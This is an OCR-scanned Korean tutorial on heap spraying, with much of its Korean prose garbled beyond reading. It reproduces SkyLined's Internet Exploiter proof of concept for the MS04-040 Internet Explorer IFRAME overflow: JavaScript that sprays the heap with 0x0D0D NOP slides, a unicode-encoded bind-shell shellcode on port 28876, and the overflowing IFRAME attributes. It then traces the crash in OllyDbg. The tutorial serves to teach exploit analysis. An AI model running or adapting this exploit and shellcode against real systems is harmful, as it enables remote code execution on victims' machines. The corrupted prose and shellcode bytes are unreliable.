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val

|2 £ JHE2F Heap spray JIE 2 EctRNe FHAdsS 23S U 2H MEL
Ct.

Ol D& 20044 “SkylLined” ct= oHHO SISHM AMEJA20 MS04-040 Internet
Explorer 6 IFRAME EH 10 A SRC or NAME 2IXHOIAN 2 A& = Heap Overflow HYEE 3
28 [ 0|2 22 JI=2 Ar=ot%Ct.

9

Heap Spray JI8H9 =&EE |EQ Z2S & BelRMIF 0] FHAFSOH 2lohA HIEAEOQI
HZ2e2 F=AZ jmp L= calg M AIE2E S &
22| =AE heap SprayE O0|E0I0H A&XHO HE2 FiAz HIESHW ZZz )8 A8 S

S Mg = AAH =

04 JIN Heap Spray Jl=2 =28t MetAte & JtXIDoF U2 =0

XM 0l D=2 0IS0HAM & = AX0l Rel= heapll XtaI0l st HES 2elH DO
UCH Ol & B MIF JHX LD JUs HAEHO| HIFAAQ HR22l FAZ2 jmp e cal2
ot =l=0l Ol heap spray JI82 HIZ&HQ M2 =42 FAHCZ HFSUD &
A ASRCH 2HH heap spray= heap0ll 22I0t &dt= HES #l= JI=0122 g
5l RA0A 28t BetRMO FHAFOZ jmp L= call ot HIFAXC K22 4=

heap 22l F=S0|0{0F StC}.
(heap 22l F20AHE windowsJt AFZdl= DLL virtual address, PEB, TEB, JIEt St
b

Ox7fffffff Ol&C2l F=A= AI26IA 28HCH Ox7fffffff &2 FA= kernel T4 22010 M
S0ICH. HDES Y &EHX)

=M 22l= HE2IHO0IE2 heapE SHE = UANHOF StCh A 22lIt heap= SHE
2= Qe FHE HE2IHOAE0 U=l O = otUdE B2 & B2t M0ICH & BelMs=
javascript2 0|0t heap=2 SHE = UCH



HelotH Heap Spray Jl=2 ¥ Bt MIF S AXC O

=
HOIFMOl EME O HIFAH

e
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0
o
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k>
o
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>
Ja
°

& 2 daHe HZ2el =42 BHEHot)| fIoiA
heapOll NOP+SHELLCODEZ —Fd&& chunkE HIZ&HQ oH F=A

(SHELLCODEDH A& MNtX)Jt & WNHX heaplil H= &dt=

High address High address

to Ox7fffffff to Ox7fffffff
(et e ey i it e e ey

|
;— -Other structures— —{
! |

I
1
— -Other structures— JI
! |

Landing here Landing here
3c0dff7d 3c0dff7d
q q

} nop + shellcode

—_— _
06ab0000 06ab0000

1 | I |
+— -Other structures— — +— -Other structures— —

Before spray the After spray the

heap heap
Low address Low address Createby Freedom

to 0x00000000 to 0x00000000 (http://sf-freedom.blogsplot.com)
June 26, 2006

18 1 Heap Spray 7=



2. Internet Exploiter Exploit &4

-

2.1 Exploit 242 I8t i XA

2.1.1 32Bit HE dlXIAH

8-bit

names
ﬂ: ﬁﬁ; l Name
EAX AH AIP( AL | Accumulator
EBX BH B?( BL | Base index
ECX CH C1IX CL | Count
EDX DH DIP( DL | Data
ESP SP Stack pointer
EBP BP Base pointer
EDI DI Destination index
ESI SI Source index

<71% 3-1>x86 2] dul =z A~H

EAX EBX ECX EDX

01S Y KNAHE & OUHZ HEXO 2HOZ2 A2Le= YRNAHZ IAdl= 22 32 HIE
0l Ct2 AIKIAEON HIGHA HlnA Ctest A&2 SHC 0IS0AME EX0| JFAXICH &
=5l ABCD 2t= 0|12 JI& dXNAEOICH A B C D = Accumulator, Base, Counter,

Data ct= © 02 = 2X0|JIE GICH 16HIE AlZ0l= AX, BX, CX, DX 2t= 02 JIAl
1 ACHIE, 386 CPUEEHE dHXIAE 2 3JIJF 32HIE=Z HEZHAN 25 018 20
E(Extended) JF 0{ & 210|CH.

BOFZEH A OtF SR8 dIXNAEI J=0 228 Us Bds =dg =40 =0
JHN El= dIXAEOIT Olet &2 A9E€= ot dANABHE EIP dXIAHECHD otH fel=

2= EIP dIXAHON MEEE S BHEoto did 22182 S5= HMOotH =L,



HAZZIHHUHM 2Ecel2 & 220 AUCH H Hlle A8
HIAHOILD & = 82 L2t0IEOICH WE =X
add ah bh

HIIA adde &dE HF 00D ah, bhe It2tOIE OICH

=2 o

Olch OGO movete HEOUE ALSIUCH 01222 252t= U2 al diXAHN €0 2te
OICt.
mov al, 25
g4 &4
push StackOll gt= €= M AME&T
pop StackOlAl gtS & [ AtESSHCH
call Return addressE stack0ll pushdtl) eipE SHFAZ MESHT
jmp eipE S& =22 NEEH
mov dst src SrcE dstlll €=C
orA,B A%t BE or ddtg ¥




2.2 SkyLined Internet Exploiter &4

<HTML><!=—

,85SSs,  Ss, Internet Exploiter vO.1
SS" 'YS'  'xSs. MSIE <IFRAME src=... name="..."> BoF PoC exploit

iS' ,.8S"  Copyright (C) 2003, 2004 by Berend—-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
"YSSP"'  sSS <skylined@edup.tudelft.nl>

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by

the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more

details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place — Suite 330
Boston, MA 02111-1307
USA.

met S ke ZXDF =18 FH0I0
Elt= Q8 220 2 =42 Ittt

-=>

<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in

// and/or use as return address. Thanks to blazde for feedback and idears.



// Win32 bindshell (port 28876, 'W0' free, looping). Thanks to HDM and
// others for inspiration and borrowed code.
/| 33 43 Al 28876 port& 22E0dl= shellcode

// shellcode= unicodeZ encoding &0 UCH

Shellcode =
unescape("%u4343%u4343%ud3eb%u5756%ud58b%u8b3c%u0554%u0178%u52ea%u528b%u0120
%U31ea%u31c0%ud1c9%ul48b%ul18a%uldiee%nuct ff%ul3cf%uliac%u85c7%u75c0%u39f6%u75d
fubaea%ub5a8b%ul124%ub6eb%u0c8b%u8b4b%ulcba%ueb01%u048b%ud18b%usbfe8%uffbe%ufc
e0%uc031%u8b64%u3040%u408b%u8b0c%ulc70%u8bad%u0868%uc031%ub866%ubcbc%ub6850%
u3233%U642e%u7768%u3273%u545f%u71bb%ueBa’ %ue8fe%uff90%uffff%uef89%uc589%uc481%u
fe70%uffff%u3154%ufec0%ud0cd%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u40
50%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%ub0c0%u3550%u0102%ucc70%uc
cfe%u8950%ub0e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%ub650%ud3bb%ub
8fa%ue89b%uff34%uffff%ub058%ul06a%u5054%ubb56%uf347 %uc656%u23e8%uffff%u89ff%ul31c6
%Uu53db%u2e68%ubd63%u8964%udiel %udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5
353%u5353%u5353%Uu5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b
%Uu5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe %u5bff%uc031%u5048%ubb53%ucb43%u5f8d
%ucfe8%ufffe%us6ff%uef87%ul2bb%ubdbb%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

// Nopslide will contain these bytes:

bigblock = unescape("%u0D0D%u0D0D");

// Heap blocks in IE have 20 dwords as header

headersize = 20;

// This is all very 1337 code to create a nopslide that will fit exactly

// between the the header and the shellcode in the heap blocks we want.

// The heap blocks are 0x40000 dwords big, | can't be arsed to write good

// documentation for this.

slackspace = headersize+shellcode.length

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length—slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

// And now we can create the heap blocks, we'll create 700 of them to spray

// enough memory to be sure enough that we've got one at 0x0DODODOD

memory = new Array();



for (i=0;i<700;i++) memory[i] = block + shellcode
// heapO®ll NOPSLIDE(ODODODOD) + shellcode chunkE 70000 &€l
// CHUNK SIZE = NOPSLIDE Size(0x40000 )+ shellcode Size
</SCRIPT>
<I--
The exploit sets EAX to 0xODODODOD after which this code gets executed:
7178EC02 8808 MOV ECX, DWORD PTR [EAX]
[0x0DODODOD] == 0x0DODODOD, so ecx = 0x0DODODOD.

7178EC04 68 84787071 PUSH 71707884
7178EC09 50 PUSH EAX
7178ECOA FF11 CALL NEAR DWORD PTR [ECX]

Again [0x0DODODOD] == 0x0DODODOD, so we jump to 0xODODODOD.
We land inside one of the nopslides and slide on down to the shellcode.
-—>
<IFRAME

SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBRBAB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABAE
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABA
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABAE
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABAE
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABA
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABAE
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBABA
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAB

NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCreereeceeeeeeeeeeececcecccce
CCCCCCCCCCCCCCCCCCCCCrerrecreeeeoeeeeeeoeereeeeoeceececccceececcece
CCCCCCCCCCCCCCCCCCCCCrerreereeeeoeeeeeeeeereeeeoeceeeeccccceececcece
CCCCCCCCCCCCCCCCCCCCCrerrtereeeeoeeeeeeoeereeeeocceeeecccceececcece
CCCCCCCCCCCCCCCCCCCCCrerrrcreeeeoeeeeeeoeeeeeeeoecceeeececceececcee
CCCCCCCCCCCCCCCCCCCCCrerrrcreeeeoeeeeeeoeeeeeeeoecceeeececceececcee
CCCCCCCCCCCCCCCCCCCCCrerreereeeeoeeeeeeoeereeeeoecceececccceececcee
CCCCCCCCCCCCCCCCCCCCCrerreereeeeoeeeeeeoeereeeeoecceececccceececcee
CCCCCCCCCCCCCCCCCCCCCrerreereeeeoeeeeeeeeeeeeeeoeceeeecccceececcee
CCCCCCCCCCCCCCCCCCCCCrertereeeeoeeeeeeeeereeeeoecceececccceececcece
CCCCCCCCCCCCCCCCCCCCCrertereeeeoeeeeeeeeereeeeoecceececccceececcece
CCCCCCCCCCCCCCCCCCCCCrerrecreeeeoeeeeeeeeereeeeoeeeeeeceecceececcee



CCCCCCCCrrrereereereererreereereereecreereereecreeceeeceeccecececcececccee
CCCCCCCCCrrereereereereereereereereereereereereeceeeeeeccccececcececccee
CCCCCCCCCrrereereereereereereereerreereereereeeeeceeeeeececececcececccee
CCCCCCCCCrrereereereereereereereerreereereereeeeeceeeeeececececcececccee
CCCCCCCCCrrereereereereereereereereereereerreeeececeeceeceecececeecccee
CCCCCCCCrrrereereereereereereereereereereereereeceeceeeeceececcececcce
CCCCCCCCrrrereereereereereereereerreereereerrereeceeeceeccecececceceecccee
CCCCCCCCCrrereereereereereereereereecreereecrreceeececeeceeccccececcececccee
CCCCCCCCCrrereereereereereereereereerrereerrecreeeeceeeeceecececeecccee
CCCCCCCCCrrereereereereereereeroerrereereerrereeeeeceecccececcececccee
CCCCCCCCCrrereereereereereereereerrereereerreceeececeeeceeccececccececccee
CCCCCCCCCrrereereereereereereereereereereecrrecreeceeeeeeccceececcececcce
CCCCCCCCCrrereereereererreereereerreereereecrrecreeceeeeeeceeccececeecccee
CCCCCCCCCrrereereereereereereeroereecreereereeeeececececeeccecececcececccee
CCCCCCCCCrrereereereereereereereereecreereereeeeeceeeeeecceecccececccee
CCCCCCCCrrrereereereereereereereereereereeerecreeceeeceeceececcececccee
CCCCCCCCCrrereereereereereereererreereereereereeceeeeeeceececcececcce
CCCCCCCCCrrereereereereereereereereereereecreecreeceeeeeeccecececececcce
CCCCCCCCCrrereereereererreereereereereereereecreececeeeeececececceceecccee
CCCCCCCCCrrereereereererreereereereereereereecreeceeeeeececececcececccee
CCCCCCCCCCC??"></IFRAME>

/] 91 w2AM 288 7?7 222 UnicodeZE 21510 MR A 20l £20IC

// &H hex 2t2Z 2 ¥ 0d 0d 0d 0d 2t= LIEHND QUCH

</HTML>



?12 exploite] F=AsS AHEH Otefet 22 =401 AT

<I--
The exploit sets EAX to 0xODODODOD after which this code gets executed:
7178EC02 8808 MOV ECX, DWORD PTR [EAX]
[0x0DODODOD] == 0x0DODODOD, so ecx = 0x0DODODOD.
7178EC04 68 84787071 PUSH 71707884
7178EC09 50 PUSH EAX
7178ECOA FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0DODODOD] == 0x0DODODOD, so we jump to 0xODODODOD.
We land inside one of the nopslides and slide on down to the shellcode.
-—>

Ol =49 A2 exploite A &SHH T2 EAXE 0x0DODODODZ ME dt1d

MOV ECX, DWORD PTR [EAX] H &0l 2oiA ECX S8 0x0DODODODZ MIE = Ch
2l CALL NEAR DWORD PTR [ECX] ¥&E CALL 0x0DODODOD2t =5ty
0x0DODODOD U= <20t &elst shellcodedt EMGHH =22 shellcodedt A& Tt

8 OHAE SoilAd oy WEs AdHEN. HY 24HED| M0l Y exploit2 IFRAME
BOF ZZ0ICH ™6l BOF=  <IFRAME SRC=file://B~~~ S20lM Zag 210/Ct. Q€ 0+H

BOFZMOZ EAXIL 0xODODODODZ AME =Tt =0 0DODODOD=E KLl
2l JO0ICH OIJ1A 0D0DODODE oY exploitOl UnicodeZ = HUN A hex Editor2

(http://www.hhdsoftware.com/Download/hex—editor.exe) HEE &QI5tH &0Is £ QUCH 2+ <
Ol 2ADEE SANAM FAEHEE Ao D SAS AADEE 20 €10 FUIZEZ HEGHH 0d

0d 0d 0d= 3f 00 3f 0022 HEAIECH)

oo0o034a0: 43 00 43 00 43 00 43 00 43 00 43 00 43 00 43 00 C.C.C.C.C.C. 2.2,
000034b0: 43 00 43 00 43 00 43 00 43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C.
000034c0: 43 00 43 00 43 00 43 00 43 00 (W C.C.C.C.C.!Zl".
000034d0: 3e 00 3c 00 2f 00 49 00 46 00 52 00 41 00 4d 00 =<,/ I.F.R.L. M.
000034eD: 45 00 3e 00 Od 00 Oa OO0 3c OO Z2£ 00 48 00 54 00 E.x.unn <./.H.T
000034f0: 4d 00 4c 00 3e 00 O4d 00 Os 00 H.L.>.....

HAE 832 Windows XP SP1 IHXI= &4 otk =2 HHIE W22 HAE U
C

HHY AlH exploit2 A&SHH TS shellcodetAl a0z ASHC )| IR0 LS Crash

£ LMAIFII] A 0d 0d 0d 0d g8t=2 aa aa aa aa2 HZEGID olldbgE crashE =210l
=0

000034B0: 43 00 43 00 43 00 43 00 43 00 43 00 43 00 43 00 EEEEEEEC
000034c0: 43 00 43 00 43 00 43 00 43 00 23 asz a=z aa 22 00 (ol ol ot ol ool =3 X3 1)
000034d0: 2= 00 3c 00 2f 00 49 00 46 00 52 00 41 00 44 00 v ¢ - IFRAHN
000034=0: 45 00 3= 00 Od 00 0= 00 3c 00 2f 00 48 00 54 00 E.x..... <.~ H.T.
000034£0: 44 00 4c 00 3e 00 0d 00 Oa 00 H.L.>.....
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OliDbg&
debugging=
£ StIHXl= File—>open HI=E
Ct.(windbglt st AtEE
crashdt %2 W windbgot

SEGHD
o« (<l EH
=0 =

|_

A

i

AHELC

Just-in-time debugging

Cuirent settings:

-JIT debugaoer is windbg. exe
- Debugaer attaches withaut confirmation

ake OIIyDbg just=in—time debuggere

windbg& ot =CH A

A

HIMH= Options OI=0A Just-in—time

Olofl =8 &l [

Oltd

5}0
=

ot1) iexplor.exel oHE

Open 32-bit executable

I take OllyD by just-in-ime debugger

Confirm befare attaching

Dione

= A |E}IntemetExp\urer J sz
[ Connaction Wizard
[ PLUGINS
[ 51GHUP
| BIEFLOREENE
‘ TENIE NL; llexplore,exe 2710
D EATE  Evecutable fle (xeve) v 84
‘ Arquments; ‘E:\Data\Heap_Splay\lnternetExploila\lnlemelExploiter_test‘html j

8 2 OliDbg ME3tH
A= ot I crashdb Za6tHA ollDbglt AT H 0 1 3tH2 Oteiet 20

18 3 0OlDbg &8 3tH
HIIA <clJb Qoo & Atet2 E906l EAXIE f2lJt XIEE AAAAAAAAZ BHE U=
Xl 2elot= Zd0ICH &gE OliDbgatHol 2= o dXAHGS &elote E0A EAX



=
[a—

t= offset

SE48 34
re9A4E40| S5CA
TEIR4B4F | ~7F4 15
T&9A4BE1| 8BYS BC
TLOA4BE4 | 6A B4
T&9A4BEE| 59

isters [FFL

MOU ER=, OWORD PTR OS: [EAX+341
TEST EHx,ERA

JE SHORT SHOOCUW. FESR4BEE
MOU ESI,DWORD PTR S5:[EEBP+C]
PUSH 4

POP ECH

MOW EDI, SHOOCUW, FE9831FC

®OR EDH.EDA

AARROOAA
TEIFOALE
TEAFSEAC
EE1CEELR
BE12FEDS
Qa1 2 EES

SHOOCL . F&270OA1LE
SHOOCL . FEI7FVEEZC

il =5= == 2=1m)
reav2acd

TeIA4E4A

SHOOCLI . F&e27222a
SHOOCLL . F&272asd

SHOOCLL . FE2A4E4A

2 4 EAX =ol

ol
Al

OHIIM <el= EAX at2 BOFE
EAXE exploitOllAl 0DODODODZ
Xl GHLES 20t N
St1) ollDbgE & BM &Eoez
olgstod  ol™
BreaKpoint(F2)E
HS BKZ
1 0l &

=
S
=2

BCZ §

T—T—= O

= AlS
Al SH

gk Al
=

FAl atg

AH SH
(=N

crashJ}
ESAS

O

Al BH
22 it FH EAXDH

50

02

CtAl exploit2l aa aa aa aaE hex editor2 0d 0d 0d Od&E H &
[o] g
_I

C

_

Or= EAXJt 0d0d0d0dot Ot

=
[—

20l JtsotAl EIACH

T2 )39

e HIIA
S0l

NI Of ot
M e H3e=2

ot

| s A E =

o4

SH
PN

>
o
(=)
HH=S

o

=2 St

5t & Gotol(ctrl+g)
ols offsetil

8tCt. ollDbgE & =

offset 769A4B4AZ ot ofe

(FO)AIRICE.

Alg

(FO)AII
0d0d0d0dZ # &

Registers [FFUI

B0a0a0a0
FEIF0OALE
TEIFEezl
Aa107ELA
BE12FEDS
BE1Z7EE4
FEIF2E3A
FEIV2EGS

TEIR4E4R

8 5 EAX &3

EAXJt 0D0DODODZ H
MOAB(FT)AIDIBA o

0

SHOOCUW. FES70A1A
SHDOCUW, Fea7SSac

SHOOCU. FE97EE28
SHOOCU. PES72EES

SHOOCU. FE2R4E4A

S}0|

= .

o

Jds 0=

ol
ro
Al

1 OIMI®E step into



T AR B U R OURD PR G5 P [heai ) {
OHEE] BB BRI MOV ERY DIORD PTR 05: [ERk+1400)

EERT D808 TEST Exly R ETY A0
PHSHEES VOFRY FAEZD | JE SOOI, 76989063

R
TR 0008 10U G+, VORD TR 052 [E6¢]

EEl BRI 73Rm
EEP BR1ETETC

(R ELLRISEE IR 0 =L P WA RS Ll R ey s ERBP BA127ERY

R 5 PLSH E5
, E
TERER FFIL (. DR PR 0501 B s

TRSRGESR 2 848
TRoRGERe BE7S 16 HOW EST, DNORD PTR S5: (EEP+10] EIF GDADA0AD

12 6 ECX BF &l

769A4E93 8B08 MOV ECX,OWORD PTR DS:[EAX]

Offset 769A4E93 OlA ECXE 0D0D0OD0ODZ B & St= MOV ECX,DWORD PTR DS:[EAX]

¥S oy & AL

769A4E9B  FF11 CALL DWORD PTR DS:[ECX]
Offset 769A4E9B OIAl ECXE CALLGt= CALL DWORD PTR DS:[ECX] ¥Hs A5
T/ Ol ECX= 0DODODODZ #H&E EHOf U222 CALLEE =2 Ot X &

CALL 0DODODODZ H& 0l =Ch A Offset 0D0DODODE & CIHE S Otef et 2T

0DODODOD 0D 0DODODOD OR EAX,0D0D0DOD

0D0ODODODE= 2217t Heap Spray@ Zgl NOPSLIDEJDF U= 212 &ols £ QL.
0JIM OR EAX,0D0D0DOD= EAXOH ODODODODIE MEE O UL &2 gHel 0DODODOD
£ OR gat2 28 5122 Z= EAXE H= ODODODODZ AMEGHH &1 Otefl O UlA
sholgr = Q=0 EAX,ECX,EIPgLLl B1E0] 80l =X& ez Adoie HAS &olg = U
Ct.

ETEEE, B0E0E0ED EF, AUBE0E0ED0

AO0E0A012 BOE0A0GED ER', B0B0E0E0

BOE0A017| B0 ADEDA0ED OF EA, B060E0GE0

BOGE0R01C| B0 GOEDE0ED OF ER, B0G0E0GE0

BOG0R0Z1| B0 BOEDA0ED OR ER, B0GE0A0GE0

BOB0A0ZE| B0 BOEDE0ED OF ER, B0G0A0GE0

BOG0A0CE| B0 SOG0A0GED OF Efi, A0E0A0E0

HHHHHHHHHH e0a0anan OF ER:, @0E0A0E0

E=gister=s [(FFLN <

ERx ahaDaDah
ECy ahananah
Ell.zad]l 2 EEC
EE-"GE1923A5E
ESF 8@l z2FETC
EEF ©dl=vYEE4
ESI QEa@ananm
EDI 9Qoaaoaan

| EIF ahaDnan=a

18 7 OR EAX,0D0DODOD &l eistH



]

ZUHCZ= 0|2t €2 HES BH=o6t0HF NOPSLIDER Ol /A= SHELLCODEEZE A &Gt

1l & =
T port 288765 & of= XS S = UL

Address |Hen dump ASCIT s
B0 FELA| B0 B0 ;

A0 EZ2| B0 B0
A01PFEZA| B0 B0

6011FESA| B0 60
G011FE4Z| B0 60
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